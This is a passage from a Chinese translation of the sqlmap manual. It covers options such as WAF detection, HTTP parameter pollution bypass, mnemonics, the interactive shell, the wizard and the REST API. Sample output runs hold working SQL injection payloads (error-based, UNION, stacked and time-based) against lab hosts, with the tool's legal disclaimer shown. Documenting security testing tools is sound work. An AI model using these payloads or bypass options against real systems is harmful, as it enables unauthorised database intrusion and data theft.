[xx:xx:15] [INFO] parsed error message: 'pg_query() [<a href='function.pg-query'
>function.pg-query</a>]: Query failed: ERROR:  invalid input syntax for type num
eric: ":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d
676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c20284465626961
6e2032e332e322d312e312920342e332e32:nxb:" in <b>/var/www/sqlmap/libs/pgsql.inc.p
hp</b> on line <b>35</b>'
[xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by 
GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2
[...]

自定义输出目录路径

选项: --output-dir

默认情况下,sqlmap将会话和结果文件存储在子目录中output。如果您想使用其他位置,可以使用此选项(例如--output-dir=/tmp)。

从响应页面解析DBMS错误消息

开关: --parse-errors

如果Web应用程序配置为调试模式,以便在HTTP响应中显示后端数据库管理系统错误消息,则sqlmap可以为您解析并显示它们。

这对于调试目的很有用,例如理解某个枚举或接管开关不起作用的原因 - 这可能是会话用户的权限问题,在这种情况下,您会看到DBMS错误消息Access denied for user <SESSION USER>

针对Microsoft SQL Server目标的示例:

$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"\
 --parse-errors
[...]
[xx:xx:17] [INFO] ORDER BY technique seems to be usable. This should reduce the 
timeneeded to find the right number of query columns. Automatically extending th
e rangefor current UNION query injection technique test
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Driv
ers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 i
s out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Driv
ers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is
 out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Driv
ers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is
 out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[xx:xx:17] [INFO] target URL appears to have 3 columns in query
[...]

在配置INI文件中保存选项

选项: --save

可以将命令行选项保存到配置INI文件中。然后可以编辑生成的文件并使用-c上面解释的选项将其传递给sqlmap 。

更新sqlmap

开关: --update

使用此选项,您可以直接从Git存储库将工具更新到最新的开发版本。你显然需要上网。

如果由于任何原因,此操作失败,请git pull从您的sqlmap工作副本运行。它将执行完全相同的开关操作--update。如果在Windows上运行sqlmap,则可以使用SmartGit客户端。

邮件列表报告任何错误之前,强烈建议这样做。

使用简短的助记符

选项: -z

键入所有所需的选项和开关可能会变得冗长乏味,特别是对于那些最常用的选项和开关(例如--batch --random-agent --ignore-proxy --technique=BEU)。如何处理这个问题有一种更简单,更短的方法。在sqlmap中,它被称为“助记符”。

每个选项和开关都可以使用选项以较短的助记符形式编写-z,用逗号字符(,)分隔,其中助记符仅表示原始名称中第一个任意选择的部分。选项和交换机没有严格的映射到它们各自的缩短对应物。只有必需的条件是没有其他选项,也没有与所需选项具有相同前缀的开关。

例:

$ python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u "ww\
w.target.com/vuln.php?id=1"

可以用较短的助记符形式编写(多种方式之一),如:

$ python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=\
1"

另一个例子:

$ python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testd\
b -T users -u "www.target.com/vuln.php?id=1"

可以用较短的助记符形式编写,如:

$ python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.\
com/vuln.php?id=1"

警告成功的SQL注入检测

选项: --alert

设置问题的答案

选项: --answers

如果用户想要自动设置问题的答案,即使--batch使用了这个选项,他也可以通过提供问题的任何部分和等号后的答案来实现。此外,可以使用分隔符分割不同问题的答案,

针对MySQL目标的示例:

$ python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--te\
chnique=E --answers="extending=N" --batch
[...]
[xx:xx:56] [INFO] testing for SQL injection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you 
want to skip test payloads specific for other DBMSes? [Y/n] Y
[xx:xx:56] [INFO] do you want to include all tests for 'MySQL' extending provide
d level (1) and risk (1)? [Y/n] N
[...]

找到SQL注入时发出哔声

开关: --beep

如果用户使用开关--beep,则会在发现SQL注入时立即发出蜂鸣声警告。当存在-m要测试的目标URL 的大型批量列表(选项)时,这尤其有用。

从sqlmap特定的UDF和表清理DBMS

开关: --cleanup

当您完成接管底层操作系统或文件系统时,建议从sqlmap临时表清理后端数据库管理系统并创建用户定义的函数。Switch --cleanup将尽可能尝试清理DBMS和文件系统。

检查依赖项

开关: --dependencies

SqlMap的在一些特殊情况下,需要额外的第三方库的独立安装(如期权-d,开关--os-pwn的情况下icmpsh隧道,选项--auth-type中的情况下,NTLMHTTP认证类型等),它会警告用户只有在这种特殊情况下。但是,如果您想独立检查所有这些额外的第三方库依赖项,您可以使用switch --dependencies

$ python sqlmap.py --dependencies
[...]
[xx:xx:28] [WARNING] sqlmap requires 'python-kinterbasdb' third-party library in
 order to directly connect to the DBMS Firebird. Download from http://kinterbasd
b.sourceforge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python-pymssql' third-party library in ord
er to directly connect to the DBMS Sybase. Download from http://pymssql.sourcefo
rge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python pymysql' third-party library in ord
er to directly connect to the DBMS MySQL. Download from https://github.com/peteh
unt/PyMySQL/
[xx:xx:28] [WARNING] sqlmap requires 'python cx_Oracle' third-party library in o
rder to directly connect to the DBMS Oracle. Download from http://cx-oracle.sour
ceforge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python-psycopg2' third-party library in or
der to directly connect to the DBMS PostgreSQL. Download from http://initd.org/p
sycopg/
[xx:xx:28] [WARNING] sqlmap requires 'python ibm-db' third-party library in orde
r to directly connect to the DBMS IBM DB2. Download from http://code.google.com/
p/ibm-db/
[xx:xx:28] [WARNING] sqlmap requires 'python jaydebeapi & python-jpype' third-pa
rty library in order to directly connect to the DBMS HSQLDB. Download from https
://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python-pyodbc' third-party library in orde
r to directly connect to the DBMS Microsoft Access. Download from http://pyodbc.
googlecode.com/
[xx:xx:28] [WARNING] sqlmap requires 'python-pymssql' third-party library in ord
er to directly connect to the DBMS Microsoft SQL Server. Download from http://py
mssql.sourceforge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python-ntlm' third-party library if you pl
an to attack a web application behind NTLM authentication. Download from http://
code.google.com/p/python-ntlm/
[xx:xx:28] [WARNING] sqlmap requires 'websocket-client' third-party library if y
ou plan to attack a web application using WebSocket. Download from https://pypi.
python.org/pypi/websocket-client/

禁用控制台输出着色

开关: --disable-coloring

默认情况下,sqlmap在写入控制台时使用着色。如果出现意外情况(例如,未解释的ANSI着色代码的控制台外观\x01\x1b[0;32m\x02[INFO]),您可以使用此开关禁用控制台输出着色。

使用指定页码的Google dork结果

选项: --gpage

带选项的默认sqlmap行为-g是进行Google搜索并使用前100个结果URL进行进一步的SQL注入测试。但是,结合此选项,您可以使用此选项(--gpage)指定除第一个页面之外的页面以从中检索目标URL。

使用HTTP参数污染

开关: --hpp

HTTP参数污染(HPP)是一种绕过WAF / IPS / IDS保护机制(此处解释)的方法,该机制对ASP / IIS和ASP.NET / IIS平台特别有效。如果您怀疑目标是在这种保护之后,您可以尝试使用此开关绕过它。

对WAF / IPS / IDS保护进行全面测试

开关: --identify-waf

sqlmap可以尝试识别后端WAF / IPS / IDS保护(如果有的话),以便用户可以执行适当的步骤(例如,使用篡改脚本--tamper)。目前大约支持30种不同的产品(Airlock,Barracuda WAF等),它们各自的WAF脚本可以在waf目录中找到。

针对受ModSecurity WAF保护的MySQL目标的示例:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --i\
dentify-waf -v 3
[...]
[xx:xx:23] [INFO] testing connection to the target URL
[xx:xx:23] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'USP Secure Entry Server (Un
ited Security Providers)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'BinarySEC Web Application F
irewall (BinarySEC)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetContinuum Web Applicatio
n Firewall (NetContinuum/Barracuda Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Hyperguard Web Application 
Firewall (art of defence Inc.)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Cisco ACE XML Gateway (Cisc
o Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'TrafficShield (F5 Networks)
'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Teros/Citrix Application Fi
rewall Enterprise (Teros/Citrix Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KONA Security Solutions (Ak
amai Technologies)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Incapsula Web Application F
irewall (Incapsula/Imperva)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'CloudFlare Web Application 
Firewall (CloudFlare)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Barracuda Web Application F
irewall (Barracuda Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'webApp.secure (webScurity)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Proventia Web Application S
ecurity (IBM)'
[xx:xx:23] [DEBUG] declared web page charset 'iso-8859-1'
[xx:xx:23] [DEBUG] page not found (404)
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KS-WAF (Knownsec)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetScaler (Citrix Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Jiasule Web Application Fir
ewall (Jiasule)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'WebKnight Application Firew
all (AQTRONIX)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'AppWall (Radware)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'ModSecurity: Open Source We
b Application Firewall (Trustwave)'
[xx:xx:23] [CRITICAL] WAF/IDS/IPS identified 'ModSecurity: Open Source Web Appli
cation Firewall (Trustwave)'. Please consider usage of tamper scripts (option '-
-tamper')
[...]

跳过启发式检测WAF / IPS / IDS保护

开关: --skip-waf

默认情况下,sqlmap会自动在其中一个启动请求中发送一个包含故意“可疑”SQL注入有效负载的虚拟参数值(例如...&foobar=AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1)。如果目标的响应与原始请求的响应不同,则很可能会受到某种保护。如果出现任何问题,用户可以通过提供开关来禁用此机制--skip-waf

模仿智能手机

开关: --mobile

有时,Web服务器向移动电话公开不同于桌面计算机的接口。在这种情况下,您可以强制使用预定的智能手机HTTP User-Agent标头值之一。通过使用此开关,sqlmap将要求您选择一种流行的智能手机,它将在当前运行中模仿。

示例运行:

$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile
[...]
which smartphone do you want sqlmap to imitate through HTTP User-Agent header?
[1] Apple iPhone 4s (default)
[2] BlackBerry 9900
[3] Google Nexus 7
[4] HP iPAQ 6365
[5] HTC Sensation
[6] Nokia N97
[7] Samsung Galaxy S
> 1
[...]

在离线模式下工作(仅使用会话数据)

开关: --offline

通过使用switch --offlinesqlmap将仅使用数据枚举中的先前会话数据。这基本上意味着在这样的运行期间将没有连接尝试。

安全删除输出目录中的所有内容

开关 --purge-output

如果用户决定安全地从output目录中删除所有内容,包含先前sqlmap运行的所有目标详细信息,他可以使用switch --purge-output。清除时,文件夹中(子)目录中的所有文件output都将被随机数据覆盖,被截断,重命名为随机名称,(子)目录也将被重命名为随机名称,最后整个目录树将被删除。

示例运行:

$ python sqlmap.py --purge-output -v 3
[...]
[xx:xx:55] [INFO] purging content of directory '/home/user/sqlmap/output'...
[xx:xx:55] [DEBUG] changing file attributes
[xx:xx:55] [DEBUG] writing random data to files
[xx:xx:55] [DEBUG] truncating files
[xx:xx:55] [DEBUG] renaming filenames to random values
[xx:xx:55] [DEBUG] renaming directory names to random values
[xx:xx:55] [DEBUG] deleting the whole directory tree
[...]

只有在积极启发式的情况下才能通过测试

开关 --smart

存在用户具有大量潜在目标URL(例如,提供选项-m)并且他想要尽可能快地找到易受攻击目标的情况。如果使用switch --smart,则只有在引发DBMS错误的参数中,才会在扫描中进一步使用。否则他们会被跳过。

针对MySQL目标的示例:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&use\
r=foo&id=1" --batch --smart
[...]
[xx:xx:14] [INFO] testing if GET parameter 'ca' is dynamic
[xx:xx:14] [WARNING] GET parameter 'ca' does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'ca' might 
not be injectable
[xx:xx:14] [INFO] skipping GET parameter 'ca'
[xx:xx:14] [INFO] testing if GET parameter 'user' is dynamic
[xx:xx:14] [WARNING] GET parameter 'user' does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'user' migh
t not be injectable
[xx:xx:14] [INFO] skipping GET parameter 'user'
[xx:xx:14] [INFO] testing if GET parameter 'id' is dynamic
[xx:xx:14] [INFO] confirming that GET parameter 'id' is dynamic
[xx:xx:14] [INFO] GET parameter 'id' is dynamic
[xx:xx:14] [WARNING] reflective value(s) found and filtering out
[xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be 
injectable (possible DBMS: 'MySQL')
[xx:xx:14] [INFO] testing for SQL injection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you 
want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for 'MySQL' extending provided level (1) and ri
sk (1)? [Y/n] Y
[xx:xx:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[xx:xx:14] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVI
NG clause' injectable 
[xx:xx:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[xx:xx:14] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or
 HAVING clause' injectable 
[xx:xx:14] [INFO] testing 'MySQL inline queries'
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[xx:xx:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' in
jectable 
[xx:xx:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[xx:xx:24] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the 
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[xx:xx:24] [INFO] target URL appears to have 3 columns in query
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 colu
mns' injectable
[...]

按有效负载和/或标题选择(或跳过)测试

选项 --test-filter

如果要按其有效负载和/或标题过滤测试,可以使用此选项。例如,如果要测试其中包含ROW关键字的所有有效负载,则可以使用--test-filter=ROW

针对MySQL目标的示例:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --b\
atch --test-filter=ROW
[...]
[xx:xx:39] [INFO] GET parameter 'id' is dynamic
[xx:xx:39] [WARNING] reflective value(s) found and filtering out
[xx:xx:39] [INFO] heuristic (basic) test shows that GET parameter 'id' might be 
injectable (possible DBMS: 'MySQL')
[xx:xx:39] [INFO] testing for SQL injection on GET parameter 'id'
[xx:xx:39] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE or HAVING clause
'
[xx:xx:39] [INFO] GET parameter 'id' is 'MySQL >= 4.1 AND error-based - WHERE or
 HAVING clause' injectable 
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] N
sqlmap identified the following injection points with a total of 3 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
    Type: error-based
    Title: MySQL >= 4.1 AND error-based - WHERE or HAVING clause
    Payload: id=1 AND ROW(4959,4971)>(SELECT COUNT(*),CONCAT(0x3a6d70623a,(SELEC
T (C
    ASE WHEN (4959=4959) THEN 1 ELSE 0 END)),0x3a6b7a653a,FLOOR(RAND(0)*2))x FRO
M (S
    ELECT 4706 UNION SELECT 3536 UNION SELECT 7442 UNION SELECT 3470)a GROUP BY 
x)
---
[...]

选项 --test-skip=TEST

如果您想通过其有效负载和/或标题跳过测试,可以使用此选项。例如,如果要跳过BENCHMARK内部包含关键字的所有有效负载,则可以使用--test-skip=BENCHMARK

交互式sqlmap shell

开关: --sqlmap-shell

通过使用switch,--sqlmap-shell用户将看到交互式sqlmap shell,它具有以前使用的选项和/或开关的所有先前运行的历史记录:

$ python sqlmap.py --sqlmap-shell
sqlmap-shell> -u "http://testphp.vulnweb.com/artists.php?artist=1" --technique=\
BEU --batch
         _
 ___ ___| |_____ ___ ___  {1.0-dev-2188502}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable 
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at xx:xx:11

[xx:xx:11] [INFO] testing connection to the target URL
[xx:xx:12] [INFO] testing if the target URL is stable
[xx:xx:13] [INFO] target URL is stable
[xx:xx:13] [INFO] testing if GET parameter 'artist' is dynamic
[xx:xx:13] [INFO] confirming that GET parameter 'artist' is dynamic
[xx:xx:13] [INFO] GET parameter 'artist' is dynamic
[xx:xx:13] [INFO] heuristic (basic) test shows that GET parameter 'artist' might
 be injectable (possible DBMS: 'MySQL')
[xx:xx:13] [INFO] testing for SQL injection on GET parameter 'artist'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads sp
ecific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending 
provided level (1) and risk (1) values? [Y/n] Y
[xx:xx:13] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[xx:xx:13] [INFO] GET parameter 'artist' seems to be 'AND boolean-based blind - 
WHERE or HAVING clause' injectable 
[xx:xx:13] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause'
[xx:xx:13] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY
 or GROUP BY clause'
[xx:xx:13] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (EXTRACTVALUE)'
[xx:xx:13] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY
 or GROUP BY clause (EXTRACTVALUE)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (UPDATEXML)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY
 or GROUP BY clause (UPDATEXML)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (EXP)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING clause (E
XP)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (BIGINT UNSIGNED)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING clause (B
IGINT UNSIGNED)'
[xx:xx:14] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause'
[xx:xx:14] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE, HAVING clause'
[xx:xx:14] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause'
[xx:xx:14] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACT
VALUE)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[xx:xx:14] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACT
VALUE)'
[xx:xx:15] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEX
ML)'
[xx:xx:15] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[xx:xx:15] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT 
UNSIGNED)'
[xx:xx:15] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[xx:xx:15] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[xx:xx:15] [INFO] ORDER BY technique seems to be usable. This should reduce the 
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[xx:xx:15] [INFO] target URL appears to have 3 columns in query
[xx:xx:16] [INFO] GET parameter 'artist' is 'Generic UNION query (NULL) - 1 to 2
0 columns' injectable
GET parameter 'artist' is vulnerable. Do you want to keep testing the others (if
 any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 39 HTTP(s) re
quests:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=1 AND 5707=5707

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-7983 UNION ALL SELECT CONCAT(0x716b706271,0x6f6c506a7473764
26d58446f634454616a4c647a6c6a69566e584e454c64666f6861466e697a5069,0x716a786a71),
NULL,NULL-- -
---
[xx:xx:16] [INFO] testing MySQL
[xx:xx:16] [INFO] confirming MySQL
[xx:xx:16] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.10
back-end DBMS: MySQL >= 5.0.0
[xx:xx:16] [INFO] fetched data logged to text files under '/home/stamparm/.sqlma
p/output/testphp.vulnweb.com'
sqlmap-shell> -u "http://testphp.vulnweb.com/artists.php?artist=1" --banner
         _
 ___ ___| |_____ ___ ___  {1.0-dev-2188502}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable 
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at xx:xx:25

[xx:xx:26] [INFO] resuming back-end DBMS 'mysql' 
[xx:xx:26] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=1 AND 5707=5707

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-7983 UNION ALL SELECT CONCAT(0x716b706271,0x6f6c506a7473764
26d58446f634454616a4c647a6c6a69566e584e454c64666f6861466e697a5069,0x716a786a71),
NULL,NULL-- -
---
[xx:xx:26] [INFO] the back-end DBMS is MySQL
[xx:xx:26] [INFO] fetching banner
web application technology: Nginx, PHP 5.3.10
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL 5
banner:    '5.1.73-0ubuntu0.10.04.1'
[xx:xx:26] [INFO] fetched data logged to text files under '/home/stamparm/.sqlma
p/output/testphp.vulnweb.com' 
sqlmap-shell> exit

简单的向导界面,适合初学者用户

开关: --wizard

对于初学者用户,有一个向导界面,它使用简单的工作流程,尽可能少的问题。如果用户只输入目标URL并使用默认答案(例如,通过按下Enter),他应该在工作流程结束时正确设置sqlmap运行环境。

针对Microsoft SQL Server目标的示例:

$ python sqlmap.py --wizard

    sqlmap/1.0-dev-2defc30 - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable 
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at xx:xx:26

Please enter full target URL (-u): http://192.168.21.129/sqlmap/mssql/iis/get_in
t.asp?id=1
POST data (--data) [Enter for None]: 
Injection difficulty (--level/--risk). Please choose:
[1] Normal (default)
[2] Medium
[3] Hard
> 1
Enumeration (--banner/--current-user/etc). Please choose:
[1] Basic (default)
[2] Smart
[3] All
> 1

sqlmap is running, please wait..

heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft SQL S
erver'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for 'Microsoft SQL Server' extending provided l
evel (1) and risk (1)? [Y/n] Y
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] N
sqlmap identified the following injection points with a total of 25 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 2986=2986

    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: id=1 AND 4847=CONVERT(INT,(CHAR(58)+CHAR(118)+CHAR(114)+CHAR(100)+C
HAR(58)+(SELECT (CASE WHEN (4847=4847) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58
)+CHAR(111)+CHAR(109)+CHAR(113)+CHAR(58)))

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=1 UNION ALL SELECT NULL,NULL,CHAR(58)+CHAR(118)+CHAR(114)+CHAR(1
00)+CHAR(58)+CHAR(70)+CHAR(79)+CHAR(118)+CHAR(106)+CHAR(87)+CHAR(101)+CHAR(119)+
CHAR(115)+CHAR(114)+CHAR(77)+CHAR(58)+CHAR(111)+CHAR(109)+CHAR(113)+CHAR(58)-- 

    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: id=1; WAITFOR DELAY '0:0:5'--

    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: id=1 WAITFOR DELAY '0:0:5'--

    Type: inline query
    Title: Microsoft SQL Server/Sybase inline queries
    Payload: id=(SELECT CHAR(58)+CHAR(118)+CHAR(114)+CHAR(100)+CHAR(58)+(SELECT 
(CASE WHEN (6382=6382) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(111)+CHAR
(109)+CHAR(113)+CHAR(58))
---
web server operating system: Windows XP
web application technology: ASP, Microsoft IIS 5.1
back-end DBMS operating system: Windows XP Service Pack 2
back-end DBMS: Microsoft SQL Server 2005
banner:
---
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) 
    Oct 14 2005 00:33:37 
    Copyright (c) 1988-2005 Microsoft Corporation
    Express Edition on Windows NT 5.1 (Build 2600: Service Pack 2)
---
current user:    'sa'
current database:    'testdb'
current user is DBA:    True

[*] shutting down at xx:xx:52

API(REST-JSON)

sqlmap可以通过REST-JSON API,API(缩写为应用程序接口)运行,该API使用JSON for REST(简称为REpresentational State Transfer)服务器和客户端实例之间的通信。在plainspeak中,服务器运行sqlmap扫描,而客户端正在设置sqlmap选项/开关并将结果拉回来。用于运行API的主程序文件是sqlmapapi.py,而客户端也可以在任意用户程序内部实现。

$ python sqlmapapi.py -hh
Usage: sqlmapapi.py [options]

Options:
  -h, --help            show this help message and exit
  -s, --server          Act as a REST-JSON API server
  -c, --client          Act as a REST-JSON API client
  -H HOST, --host=HOST  Host of the REST-JSON API server (default "127.0.0.1")
  -p PORT, --port=PORT  Port of the the REST-JSON API server (default 8775)
  --adapter=ADAPTER     Server (bottle) adapter to use (default "wsgiref")

服务器运行sqlmapapi.py通过使用交换机-s,客户端通过使用开关-c,而在这两种情况下用户可以(可选)设置与听力选项IP地址-H(默认值"127.0.0.1"),并用监听端口选项-p(默认8775)。每个客户端的“会话”可以有多个“任务”(即sqlmap扫描运行),用户可以任意选择当前应该处于活动状态的任务。

在客户端的命令行界面中可用的命令是:

  • help - 显示可用命令列表以及基本帮助信息
  • new ARGS- 使用提供的参数启动新的扫描任务(例如new -u "http://testphp.vulnweb.com/artists.php?artist=1"
  • use TASKID- 将当前上下文切换到不同的任务(例如use c04d8c5c7582efb4
  • data - 检索并显示当前任务的数据
  • log- 检索并显示当前任务的日志
  • status - 检索并显示当前任务的状态
  • stop - 停止当前任务
  • kill - 杀死当前任务
  • list - 显示所有任务(对于当前会话)
  • flush - 刷新(即删除)所有任务
  • exit - 退出客户端界面

示例服务器运行:

$ python sqlmapapi.py -s -H "0.0.0.0"
[12:47:51] [INFO] Running REST-JSON API server at '0.0.0.0:8775'..
[12:47:51] [INFO] Admin ID: 89fd118997840a9bd7fc329ab535b881
[12:47:51] [DEBUG] IPC database: /tmp/sqlmapipc-SzBQnd
[12:47:51] [DEBUG] REST-JSON API server connected to IPC database
[12:47:51] [DEBUG] Using adapter 'wsgiref' to run bottle
[12:48:10] [DEBUG] Created new task: 'a42ddaef02e976f0'
[12:48:10] [DEBUG] [a42ddaef02e976f0] Started scan
